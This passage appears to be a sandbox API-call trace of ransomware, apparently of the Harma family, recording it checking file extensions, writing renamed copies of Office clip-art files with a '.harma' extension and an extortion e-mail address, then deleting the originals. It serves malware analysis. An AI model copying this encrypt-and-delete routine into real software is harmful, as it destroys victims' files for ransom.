[0159.690] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.690] SetEndOfFile (hFile=0x20c) returned 1 [0159.693] CloseHandle (hObject=0x20c) returned 1 [0159.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.785] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif")) returned 1 [0159.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0159.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0159.864] lstrlenW (lpString=".doc") returned 4 [0159.864] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0159.864] lstrlenW (lpString=".docx") returned 5 [0159.864] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0159.864] lstrlenW (lpString=".pdf") returned 4 [0159.864] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0159.864] lstrlenW (lpString=".xls") returned 4 [0159.864] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0159.864] lstrlenW (lpString=".xlsx") returned 5 [0159.864] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0159.864] lstrlenW (lpString=".ppt") returned 4 [0159.864] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0159.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0159.864] lstrlenW (lpString=".zip") returned 4 [0159.864] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0159.864] lstrlenW (lpString=".rar") returned 4 [0159.864] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0159.864] lstrlenW (lpString=".bz2") returned 4 [0159.864] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0159.864] lstrlenW (lpString=".7z") returned 3 [0159.864] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0159.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0159.865] lstrlenW (lpString=".dbf") returned 4 [0159.865] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0159.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0159.865] lstrlenW (lpString=".1cd") returned 4 [0159.865] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0159.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0159.865] lstrlenW (lpString=".jpg") returned 4 [0159.865] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0159.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0159.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0159.865] lstrlenW (lpString=".doc") returned 4 [0159.865] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0159.865] lstrlenW (lpString=".docx") returned 5 [0159.865] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0159.865] lstrlenW (lpString=".pdf") returned 4 [0159.865] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0159.865] lstrlenW (lpString=".xls") returned 4 [0159.865] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0159.865] lstrlenW (lpString=".xlsx") returned 5 [0159.865] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0159.865] lstrlenW (lpString=".ppt") returned 4 [0159.865] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0159.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0159.865] lstrlenW (lpString=".zip") returned 4 [0159.865] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0159.865] lstrlenW (lpString=".rar") returned 4 [0159.865] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0159.865] lstrlenW (lpString=".bz2") returned 4 [0159.865] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0159.865] lstrlenW (lpString=".7z") returned 3 [0159.865] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0159.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0159.866] lstrlenW (lpString=".dbf") returned 4 [0159.866] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0159.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0159.866] lstrlenW (lpString=".1cd") returned 4 [0159.866] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0159.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0159.866] lstrlenW (lpString=".jpg") returned 4 [0159.866] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0159.866] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.866] lstrlenW (lpString="J0086424.WMF") returned 12 [0159.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.925] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=17016) returned 1 [0159.925] CloseHandle (hObject=0x348) returned 1 [0159.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf")) returned 0x20 [0159.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0159.983] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.983] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0160.009] GetLastError () returned 0x0 [0160.009] ReadFile (in: hFile=0x214, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x4278, lpOverlapped=0x0) returned 1 [0160.029] WriteFile (in: hFile=0x218, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x4280, lpOverlapped=0x0) returned 1 [0160.030] ReadFile (in: hFile=0x214, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.030] WriteFile (in: hFile=0x218, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.030] SetEndOfFile (hFile=0x218) returned 1 [0160.030] CloseHandle (hObject=0x218) returned 1 [0160.030] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.030] SetEndOfFile (hFile=0x214) returned 1 [0160.033] CloseHandle (hObject=0x214) returned 1 [0160.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.033] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf")) returned 1 [0160.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0160.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0160.034] lstrlenW (lpString=".doc") returned 4 [0160.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.034] lstrlenW (lpString=".docx") returned 5 [0160.034] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0160.034] lstrlenW (lpString=".pdf") returned 4 [0160.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.034] lstrlenW (lpString=".xls") returned 4 [0160.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.034] lstrlenW (lpString=".xlsx") returned 5 [0160.034] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0160.034] lstrlenW (lpString=".ppt") returned 4 [0160.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0160.034] lstrlenW (lpString=".zip") returned 4 [0160.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.034] lstrlenW (lpString=".rar") returned 4 [0160.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.034] lstrlenW (lpString=".bz2") returned 4 [0160.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.034] lstrlenW (lpString=".7z") returned 3 [0160.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0160.034] lstrlenW (lpString=".dbf") returned 4 [0160.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0160.035] lstrlenW (lpString=".1cd") returned 4 [0160.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0160.035] lstrlenW (lpString=".jpg") returned 4 [0160.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0160.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0160.035] lstrlenW (lpString=".doc") returned 4 [0160.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.035] lstrlenW (lpString=".docx") returned 5 [0160.035] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0160.035] lstrlenW (lpString=".pdf") returned 4 [0160.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.035] lstrlenW (lpString=".xls") returned 4 [0160.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.035] lstrlenW (lpString=".xlsx") returned 5 [0160.035] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0160.035] lstrlenW (lpString=".ppt") returned 4 [0160.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0160.035] lstrlenW (lpString=".zip") returned 4 [0160.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.035] lstrlenW (lpString=".rar") returned 4 [0160.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.035] lstrlenW (lpString=".bz2") returned 4 [0160.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.035] lstrlenW (lpString=".7z") returned 3 [0160.036] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0160.036] lstrlenW (lpString=".dbf") returned 4 [0160.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0160.036] lstrlenW (lpString=".1cd") returned 4 [0160.036] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0160.036] lstrlenW (lpString=".jpg") returned 4 [0160.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.036] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0160.036] lstrlenW (lpString="J0090087.WMF") returned 12 [0160.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0160.037] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=46936) returned 1 [0160.037] CloseHandle (hObject=0x214) returned 1 [0160.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf")) returned 0x20 [0160.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0160.037] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.037] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0160.038] GetLastError () returned 0x0 [0160.038] ReadFile (in: hFile=0x214, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0xb758, lpOverlapped=0x0) returned 1 [0160.081] WriteFile (in: hFile=0x218, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xb760, lpOverlapped=0x0) returned 1 [0160.082] ReadFile (in: hFile=0x214, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.082] WriteFile (in: hFile=0x218, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.082] SetEndOfFile (hFile=0x218) returned 1 [0160.082] CloseHandle (hObject=0x218) returned 1 [0160.083] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.083] SetEndOfFile (hFile=0x214) returned 1 [0160.085] CloseHandle (hObject=0x214) returned 1 [0160.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf")) returned 1 [0160.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0160.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0160.129] lstrlenW (lpString=".doc") returned 4 [0160.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.129] lstrlenW (lpString=".docx") returned 5 [0160.129] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0160.129] lstrlenW (lpString=".pdf") returned 4 [0160.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.129] lstrlenW (lpString=".xls") returned 4 [0160.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.129] lstrlenW (lpString=".xlsx") returned 5 [0160.129] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0160.129] lstrlenW (lpString=".ppt") returned 4 [0160.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0160.129] lstrlenW (lpString=".zip") returned 4 [0160.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.129] lstrlenW (lpString=".rar") returned 4 [0160.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.129] lstrlenW (lpString=".bz2") returned 4 [0160.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.129] lstrlenW (lpString=".7z") returned 3 [0160.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0160.130] lstrlenW (lpString=".dbf") returned 4 [0160.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0160.130] lstrlenW (lpString=".1cd") returned 4 [0160.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0160.130] lstrlenW (lpString=".jpg") returned 4 [0160.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0160.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0160.130] lstrlenW (lpString=".doc") returned 4 [0160.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.130] lstrlenW (lpString=".docx") returned 5 [0160.130] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0160.130] lstrlenW (lpString=".pdf") returned 4 [0160.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.130] lstrlenW (lpString=".xls") returned 4 [0160.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.130] lstrlenW (lpString=".xlsx") returned 5 [0160.130] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0160.130] lstrlenW (lpString=".ppt") returned 4 [0160.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0160.130] lstrlenW (lpString=".zip") returned 4 [0160.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.130] lstrlenW (lpString=".rar") returned 4 [0160.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.130] lstrlenW (lpString=".bz2") returned 4 [0160.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.130] lstrlenW (lpString=".7z") returned 3 [0160.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0160.131] lstrlenW (lpString=".dbf") returned 4 [0160.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0160.131] lstrlenW (lpString=".1cd") returned 4 [0160.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0160.131] lstrlenW (lpString=".jpg") returned 4 [0160.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.131] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0160.131] lstrlenW (lpString="J0090781.WMF") returned 12 [0160.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0160.132] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=5314) returned 1 [0160.132] CloseHandle (hObject=0x330) returned 1 [0160.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf")) returned 0x20 [0160.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0160.132] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.132] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0160.133] GetLastError () returned 0x0 [0160.134] ReadFile (in: hFile=0x330, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x14c2, lpOverlapped=0x0) returned 1 [0160.140] WriteFile (in: hFile=0x358, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x14d0, lpOverlapped=0x0) returned 1 [0160.141] ReadFile (in: hFile=0x330, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.141] WriteFile (in: hFile=0x358, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.141] SetEndOfFile (hFile=0x358) returned 1 [0160.141] CloseHandle (hObject=0x358) returned 1 [0160.141] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.141] SetEndOfFile (hFile=0x330) returned 1 [0160.143] CloseHandle (hObject=0x330) returned 1 [0160.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf")) returned 1 [0160.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0160.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0160.155] lstrlenW (lpString=".doc") returned 4 [0160.155] 